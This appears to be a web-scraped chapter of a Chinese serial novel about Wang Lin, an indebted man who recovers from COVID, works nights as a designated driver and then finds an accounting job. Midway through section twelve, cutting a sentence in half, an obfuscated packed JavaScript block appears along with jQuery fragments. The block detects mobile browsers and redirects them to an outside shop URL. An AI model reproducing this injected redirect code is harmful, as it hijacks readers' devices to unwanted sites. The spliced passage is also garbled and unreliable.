《半生债》下卷第33章·深夜的摆渡人


    一


    王霖不知道自己是怎么被感染的。


    也许是那天在小区采样的时候，一个老人咳嗽了一声，飞沫溅在他的面罩上。也许是那户人家开门的时候，一股浊气扑面而来，他躲闪不及。也许是累得太久了，免疫力下降了，那看不见的东西就趁虚而入了。


    他只知道，那天早上醒来，浑身酸疼，像被人打了一顿。头昏沉沉的，嗓子像吞了刀片。他量了体温，三十八度七。


    他躺在床上，看着天花板，发了一会儿呆。


    然后他爬起来，给组长打电话，说：“我可能感染了，今天去不了。”


    组长说：“在家隔离，别出门。需要什么，群里说。”


    他挂了电话，又给几个明天要采样的住户发信息，说临时有事，会有同事过去。发完，他放下手机，又躺回床上。


    窗外的天灰蒙蒙的，看不出是上午还是下午。他闭上眼睛，脑子里一片空白。


    不知道过了多久，手机响了。是边秀儿。


    “王总，听说你感染了？”她的声音很急。


    王霖说：“嗯，没事，就是发烧。”


    边秀儿说：“你一个人在家？要不要我过来？”


    王霖说：“不用。你来了也进不来。”


    边秀儿沉默了一会儿，说：“那你好好养着。有需要就打电话。”


    王霖说：“好。”


    挂了电话，他又躺下。手机又响了几次，是齐选东，是高夏，是几个以前的老同事。他都接了，都说没事，都好。挂了电话，继续躺着。


    他知道，他们是真的担心他。


    可他也知道，担心有什么用呢？该扛的，还得自己扛。


    二


    那几天，他一个人在屋里待着。


    发烧，退烧，再发烧，再退烧。嗓子疼得咽不下东西，就喝粥。浑身没力气，就躺着。睡不着，就看天花板，看窗外那棵老槐树，看那些光秃秃的枝条在风里晃。


    他把手机放在枕边，一遍一遍地翻那些以前写的文章。《半个月亮》《雪落有音》《爱是修行》《月满西楼》《幸福很简单》。一篇一篇看过去，看着那些字，那些句子，那些写过的日子。


    他忽然想起《金刚经》里那句话：“一切有为法，如梦幻泡影，如露亦如电，应作如是观。”


    那些文章，那些日子，那些人，不就是“如梦幻泡影”吗？看着真，其实是幻。以为会永远在，其实说没就没了。


    可他还是放不下。


    放不下那些字，那些句子，那些写过的日子。


    他又拿起笔，开始写。


    写什么？不知道。就是写。把心里那些乱七八糟的东西，都写出来。


    他写那个在小区门口等他的老人，写那个躲在妈妈身后的孩子，写那个一边采样一边接电话的年轻人。写那些走了的人，那些还在的人，那些不知道还能不能再见的人。


    写着写着，天就亮了。写着写着，烧就退了。


    第七天，他测了抗原，两道杠变成了一道。


    他好了。


    三


    好了之后，他发现自己没事干了。


    厂没了，志愿者也不缺人了。他每天待在家里，看着窗外那棵老槐树，看着那些枝条一点一点冒出新芽。春天来了，可他还困在原地。


    信用卡的账单每个月准时来，二十二万，利滚利，越滚越多。他算了算，就算不吃不喝，也得还好几年。


    可他不能不吃不喝。


    生活还要继续。


    他把自己那辆开了三十年的旧车擦干净，拍了照片，挂在网上。第二天就卖出去了，两万块。他拿着那两万块，还了一个月的利息，剩下的，买了一辆电动车。


    一辆小摩托，二手的，八千块。


    他骑上去，试了试，还行。风吹过来，凉飕飕的，可他心里忽然有了点底气。


    有车，就能跑。能跑，就能挣钱。


    他去申请了e代驾。


    注册，审核，培训，考试。一套流程下来，他拿到了那个蓝色的工牌，和一件印着“e代驾”字样的马甲。


    那天晚上，他穿上那件马甲，站在镜子前，看了很久。


    镜子里那个人，头发花白，脸上有皱纹，眼睛里有一种他说不清的东西。不是疲惫，不是沮丧，是一种……认命又不认命的复杂。


    他笑了笑，转身出门。


    四


    第一单，是在一个酒店门口等来的。


    他骑着那辆小摩托，在酒店门口的停车场上，和十几个年轻人挤在一起。那些年轻人穿着和他一样的马甲，有的在玩手机，有的在聊天，有的蹲在地上抽烟。


    他站在一边，不知道该往哪儿站。


    有个小伙子看他一眼，说：“大叔，新来的？”


    王霖点点头。


    小伙子说：“第一单？”


    王霖又点点头。


    小伙子说：“等吧。今晚人多，应该能早点接到。”


    王霖说：“谢谢。”


    小伙子笑了笑，没再说话。


    等了一个多小时，一个醉醺醺的男人从酒店里出来，身后跟着几个朋友，扶着他往外走。那些年轻人一下子都围上去，七嘴八舌地问：“老板，代驾吗？”“老板，我技术好！”“老板，我便宜！”


    王霖站在原地，没动。


    那个小伙子回头看他一眼，说：“大叔，你倒是上啊。”


    王霖摇摇头，笑了笑。


    他不知道该不该上。好像上了，就是在抢。他抢不来。


    最后，一个年轻小伙抢到了那单，扶着那个醉汉上了车，发动，走了。剩下的年轻人散开，又回到原来的位置，继续等。


    王霖也站着，继续等。


    等到夜里十一点，他接到了第一单。一个中年男人，喝得不多，还算清醒。他看了看王霖的工牌，说：“走，送我去山水华庭。”


    王霖说：“好。”


    他开着那人的车，送他到了小区门口。那人下车，给了钱，说：“师傅，慢点骑。”


    王霖说：“好。”


    他骑着那小摩托，往回走。夜里的风凉飕飕的，可心里有一点热。


    十四块五毛钱。


    这是他一晚上的收入。


    五


    后来，他慢慢习惯了这种日子。


    每天傍晚，他骑着那辆小摩托，去那几个固定的酒店门口等。和那些年轻人挤在一起，等那些喝得醉醺醺的人出来。有时候运气好，一个晚上能接两三单。有时候运气不好，等一晚上，一单都没有。


    那些年轻人，有的认识他了，会跟他打招呼：“大叔，来了？”“大叔，今天怎么样？”


    他笑着点点头，说：“还行。”


    他们叫他“大叔”，他听着也习惯了。在这些人里，他确实是最大的。有些小伙子才二十出头，比他女儿还小。他们叫他大叔，不叫大爷，已经是客气了。


    有一次，一个小伙子问他：“大叔，你以前干什么的？”


    王霖想了想，说：“干过厂子，当过志愿者。”


    小伙子说：“那现在怎么干这个了？”


    王霖说：“欠了点债，挣点钱还。”


    小伙子点点头，没再问。


    后来他才知道，这些年轻人，谁不是欠着债呢？有的欠房贷，有的欠车贷，有的欠信用卡。谁都不容易，谁都在熬。


    六


    最难熬的，是冬天。


    北方的冬天，冷得透心。风刮在脸上，像刀子割。他骑着那小摩托，等在酒店门口，一站就是几个小时。脚冻麻了，就跺跺。手冻僵了，就搓搓。实在受不了，就躲到酒店大堂里站一会儿，等保安来赶。


    有时候等两个小时，接不到一单。有时候接到了，开到半路，手机响了，客户取消了订单。他白跑一趟，一分钱没有。


    有一次，他等了一个晚上，只接了一单，十四块五。


    他骑着摩托往回走，路上又冷又饿，忽然想起小时候读过的那个故事——《卖火柴的小女孩》。小女孩在寒冷的夜里，一根一根划着火柴，每一根火柴里，都看见一个温暖的幻象。


    他现在也是这样。


    太冷的时候，太饿的时候，他就会想那些温暖的画面。想那年在齐山顶上，几个人站在一起，笑得像孩子。想那年雪落夹山，在那辆破拖拉机前合影。想那年鲁山上的梅花，开得正好，香气沾在衣襟上，一路跟着走。


    想着想着，就不那么冷了。


    想着想着，就能继续往前骑。


    七


    干了四个月，他算了算收入，平均每个月不到一千六。


    边秀儿打电话问他：“王总，你还好吗？”


    王霖说：“还行。”


    边秀儿说：“你那个代驾，一个月能挣多少？”


    王霖说：“一千多。”


    边秀儿沉默了一会儿，说：“那你够花吗？”


    王霖说：“够还利息。”


    边秀儿说：“本金呢？”


    王霖说：“慢慢还。”


    边秀儿没再说话。


    他知道她心疼他。可他不需要心疼。这是他选的路，他认。


    有一次，高夏也打过电话。她沉默了很久，说：“王总，你……怎么不早说？”


    王霖说：“说什么？”


    高夏说：“你欠那么多债，还干那种活。”


    王霖说：“这活怎么了？”


    高夏说：“累，还挣不了几个钱。”


    王霖说：“可这是我自己的活。”


    高夏又沉默了。


    过了一会儿，她说：“王总，对不起。”


    王霖说：“别说了。”


    高夏说：“我欠你的。”


    王霖说：“你不欠我。谁也不欠谁。”


    挂了电话，他站在那棵老槐树下，看了很久。


    风很大，吹得树枝乱晃。他裹紧那件薄薄的马甲，骑上摩托，往酒店方向去。


    今晚，还要等。


    八


    有一天晚上，他接了一单，送一个醉汉回家。


    那醉汉喝得烂醉，一上车就睡着了。他开着车，穿过半个城市，把人送到楼下。扶他上楼，敲开门，他老婆站在门口，披着睡衣，一脸怒气。


    她把那醉汉拽进屋，回头对王霖说：“谢谢你啊师傅。”


    王霖说：“不客气。”


    他下楼，骑上摩托，往回走。


    走到半路，手机响了，是一个新单。他看了一眼，距离不远，赶紧接。


    可就在他加速的时候，前面突然冲出一辆电动车，他来不及躲，连人带车摔出去十几米。


    他躺在地上，浑身疼。手破了，膝盖破了，脸上也蹭破了皮。他爬起来，看着那辆歪在路边的小摩托，车灯碎了，车把歪了。


    旁边有个路人过来，问：“师傅，你没事吧？”


    他说：“没事。”


    那人说：“要不要叫救护车？”


    他说：“不用。”


    他扶起那辆摩托，试着发动。发动了好几次，终于响了。他骑上去，慢慢往回走。


    那一单，他错过了。


    回到住的地方，他脱下衣服，看见胳膊上、腿上，全是淤青和擦伤。他打了盆水，一点点洗。洗着洗着，忽然笑了。


    他想起那些外卖小哥，那些快递小哥，他们每天也是这样，在街上飞奔，赶时间，抢单，摔倒了爬起来继续跑。


    以前他不理解，为什么那么急？


    现在他懂了。


    因为慢一步，单就没了。单没了，钱就没了。钱没了，房贷车贷信用卡，就还不上了。


    谁不是在拼命呢？


    九


    那些一起干代驾的年轻人，慢慢跟他熟了。


    有个姓刘的小伙子，二十四岁，欠了十几万网贷，天天干到凌晨三四点。他告诉王霖，他以前在工厂上班，一个月三四千，不够还债。现在干代驾，一个月能挣七八千，虽然累，但有盼头。


    有个姓张的，三十出头，开过店，赔了，欠了一屁股债。老婆跟他离了，孩子归老婆。他每个月挣的钱，一半还债，一半给孩子。他说：“大叔，我这辈子就这样了，可我闺女不能跟我一样。”


    还有一个姓李的，跟王霖差不多大，也是下岗的，也是欠债的。他话少，总是闷头等单，接到就走。有一次王霖问他：“老李，你欠多少？”他沉默了半天，说：“五十多万。”王霖没再问。


    五十多万，比他欠的还多。


    可老李还是天天来，天天等，天天熬。


    王霖看着他们，忽然明白，自己不是一个人在熬。


    这世上，有多少人，不是在熬呢？


    十


    干得久了，那些年轻人开始跟他说心里话。


    有一次，小刘问他：“大叔，你看你，一天到晚不急不慢的，从来不跟人抢单。你不着急还钱吗？”


    王霖说：“着急。可抢有什么用？”


    小刘说：“抢到了就能多挣啊。”


    王霖说：“抢得到一时，抢不到一世。是你的，总会来。不是你的，抢也没用。”


    小刘想了想，说：“大叔，你这心态，真佛系。”


    王霖笑了笑。


    佛系？他想起那些读过的经书。《金刚经》里说：“应无所住，而生其心。”不住，就是不停留，不执着，不抓取。可他能不住吗？他欠着债，他需要钱，他必须等，必须抢。


    可他不想抢。


    不是因为佛系，是因为他知道，抢来的，终归要还的。


    他这一辈子，欠的债，还不清的，不就是那些抢来的、贪来的、舍不得放下的东西吗？


    那些东西，才是真正的债。


    十一


    有一天晚上，他接到一单，送一个老人回家。


    老人七十多了，头发全白了，走路颤颤巍巍。他扶着老人上车，一路开得很慢。老人坐在后座，忽然说：“师傅，你多大了？”


    王霖说：“五十多了。”


    老人说：“还干这个？”


    王霖说：“干。”


    老人沉默了一会儿，说：“不容易啊。”


    王霖说：“还行。”


    到了地方，老人下了车，从兜里掏出一百块钱，递给他。


    王霖说：“用不了那么多。”


    老人说：“拿着吧。你也不容易。”


    王霖说：“我有零钱找您。”


    老人摆摆手，转身往楼里走。走了几步，又回头，说：“小伙子，保重。”


    王霖站在那儿，看着那个佝偻的背影消失在楼道里。


    手里攥着那张一百块钱，心里忽然热了一下。


    他想起那些一起干代驾的年轻人，想起那些叫他“大叔”的小伙子，想起那个欠了五十多万的老李。他们都不容易，可他们都还在熬。谁也没有放弃谁，谁也没有丢下谁。


    这就是人间吧。


    有冷，也有暖。有难，也有情。


    十二


    那四个月，他认识了很多朋友。


    小刘、小张、老李，还有那些叫不上名字的年轻人。他们一起等单，一起聊天，一起骂那些难伺候的客户，一起分享那些温暖的小事。


    有一次，一个客户给了小刘一包烟，他舍不得抽，分给大家。有一次，王霖接到一个大单，挣了八十多块，小刘比他还高兴。有一次，老李的手机坏了，大家凑钱给他买了一个新的。


    王霖看着他们，忽然想起那些年，和齐选东、高夏、边秀儿一起的日子。


    那些人，那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285035|197133||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    些情，和现在这些人，这些情，其实是一样的。


    都是平凡的人，都在艰难地活着，都愿意在对方需要的时候，伸出手。


    他忽然明白，自己这些年的那些债，那些放不下的人和事，其实一直都在。不是欠别人的，是欠自己的。欠自己一个心安，欠自己一个放下，欠自己一个相信。


    相信这人间，还是有暖的。


    相信这日子，还是能过的。


    相信这每一步，不管多难，都算数。


    十三


    2021年春天，疫情还没结束。


    那天晚上，他送完最后一单，已经是凌晨两点。回到家，他照例用酒精把自己从头到脚喷了一遍，洗了热水澡，躺在床上。


    第二天早上，他醒来，浑身酸疼。


    和第一次一模一样。


    他量了体温，三十八度五。


    他躺在床上，看着天花板，忽然笑了。


    这一次，他不知道自己是被谁传染的。也许是那个一直咳嗽的客人，也许是电梯里那个没戴口罩的年轻人，也许是任何一个他接触过的人。病毒看不见，摸不着，它就在那里，等着每一个不小心的人。


    他给组长发了信息，说自己又感染了，要隔离。然后他放下手机，闭上眼睛。


    这一次，他没有害怕。


    因为已经经历过一次了。因为知道会好的。因为知道，不管怎样，日子还得过。


    他躺了七天，又读了一遍那些读过的经书，又写了一篇新的文章。


    第七天，他好了。


    可他也做了一个决定。


    代驾，不能再干了。


    不是怕感染，是不能再这样下去了。这份工作，挣的钱只够还利息，本金永远还不清。而且，谁也不知道，下一次感染，会不会更严重。


    他给那些年轻人发了一条信息，说自己不干了。小刘他们打电话来，说：“大叔，保重。”他说：“你们也是。”


    挂了电话，他看着那辆小摩托，看了很久。


    这四个月，是它陪他走过的。


    他摸了摸车把，然后转身，上楼。


    十四


    过了几天，一个电话打了进来。


    是老周，一个在东海市认识的律师。以前办厂的时候，老周帮忙处理过一些合同纠纷，算是老朋友了。这些年虽然联系少，但一直有彼此的微信。


    “王总，听说你最近在干代驾？”老周的声音里带着一点惊讶。


    王霖说：“是，干了一段时间。”


    老周说：“别干了。我这边有个朋友，开公司的，缺个财务总管。你要不要试试？”


    王霖愣了一下。


    老周说：“我记得你2000年就是注册会计师了吧？虽然这些年没干财务，但基础在。上手肯定快。”


    王霖沉默了一会儿，说：“可我这些年，干的都是厂里的事，财务早就生疏了。”


    老周说：“生什么疏？你那个脑子，复习几天就回来了。再说了，我那朋友的公司，也不是什么大公司，就几十号人，账目不复杂。你先去试试，不行再说。”


    王霖想了想，说：“行，我试试。”


    挂了电话，他站在窗前，看着那棵老槐树。


    树叶已经绿了，枝条上冒出了嫩芽。春天真的来了。


    他忽然想起《心经》里那句话：“心无挂碍，无挂碍故，无有恐怖。”


    他没有什么挂碍了。


    不是没有债，是没有挂碍。


    那些债，那些事，那些人，都在。可他不怕了。


    因为怕也没用。


    因为还得走。


    因为走着走着，天就亮了。


    十五


    那家公司不大，在东海市的一栋写字楼里，十几个人，做的是进出口贸易。老板姓钱，四十出头，瘦瘦的，话不多，但人实在。


    第一次见面，钱老板看了看王霖的简历，说：“老注册会计师，失敬失敬。”


    王霖说：“很多年没干了，怕是生疏了。”


    钱老板说：“没事，你先干着。咱们这公司，账目简单。你就帮我把税务筹划做好，别让税务局找麻烦就行。”


    王霖说：“好。”


    第一个月工资，四千五。


    他拿着那张工资条，看了很久。


    四千五，比代驾多，还不用熬夜，不用挨冻，不用看人脸色。可他知道，这只是开始。


    他开始复习那些财务知识。税法、会计准则、报表分析，一样一样捡起来。白天在公司上班，晚上回家看书。有时候看到半夜，眼睛花了，就站起来走走，喝杯水，继续看。


    边秀儿打电话来，问他在干什么。他说，在学习。边秀儿说：“学什么？”他说：“学财务。”边秀儿笑了，说：“你本来就是会计师，还学什么？”他说：“很多年没干，忘了。”


    边秀儿说：“你这个人，就是太认真。”


    王霖说：“不认真，怎么还债？”


    边秀儿沉默了一会儿，说：“王总，你那些债……”


    王霖说：“慢慢还。”


    边秀儿说：“我手头有点钱，要不……”


    王霖打断她：“不用。我自己能行。”


    挂了电话，他看着窗外那栋写字楼，看着那些进进出出的人，心里忽然有一种说不清的滋味。


    他又回到写字楼了。


    从厂里出来，到志愿者，到代驾，现在又回到写字楼。这一圈绕的，可真够远的。


    可他知道，每一步，都不是白走的。


    十六


    几个月后，钱老板给他涨了工资。


    六千。


    那天晚上，他请自己吃了一顿饭。一个人，在楼下的小饭馆里，点了一盘红烧肉，一盘炒青菜，一碗米饭。吃得很慢，一口一口，嚼着那些肉和菜，嚼着那些日子。


    他想起那年和齐选东、高夏、边秀儿一起在食堂里吃饭的日子。那时候，也是红烧肉，也是炒青菜，也是一碗米饭。可那时候，人多，热闹，笑声不断。


    现在，只有他一个人。


    可他不再觉得孤单了。


    那些人，那些事，那些日子，都在他心里。不会丢，不会忘。


    周末的时候，他开始出去走走。


    不能出远门，就在附近转转。爬爬山，看看水，拍拍照。有时候一个人，有时候约上边秀儿。边秀儿也闲下来了，两个人就一起走，一起聊。


    有一次，他们又去了鲁山。


    还是那条路，还是那些石阶，还是那几株腊梅。花已经谢了，叶子长得茂盛。站在山顶往下看，那些村庄还是那些村庄，那些炊烟还是那些炊烟。


    边秀儿说：“王总，你说，这疫情，什么时候能结束？”


    王霖说：“不知道。”


    边秀儿说：“那咱们还能去哪儿？”


    王霖说：“哪儿都能去，只要心里有路。”


    边秀儿看着他，笑了。


    她说：“王总，你现在说话，越来越有禅意了。”


    王霖说：“不是禅意，是熬出来的。”


    边秀儿点点头，没再说话。


    两个人站在山顶，看着远处的山，近处的树，还有那些在风中摇曳的野花。


    风很大，吹得人衣角翻飞。可他们站着，不动。


    就像那些山，那些树，那些花。


    都在熬。


    都在等。


    等风停，等花开，等那一天。


    ---


    谨以此章，献给那些在深夜里等单的人——外卖小哥、快递小哥、代驾师傅，还有所有在黑暗中默默赶路的人。也献给那些在疫情中反复跌倒又爬起来的人。


    半生债，一世情。


    走着走着，天就亮了。


    （本章完，全文约12600字）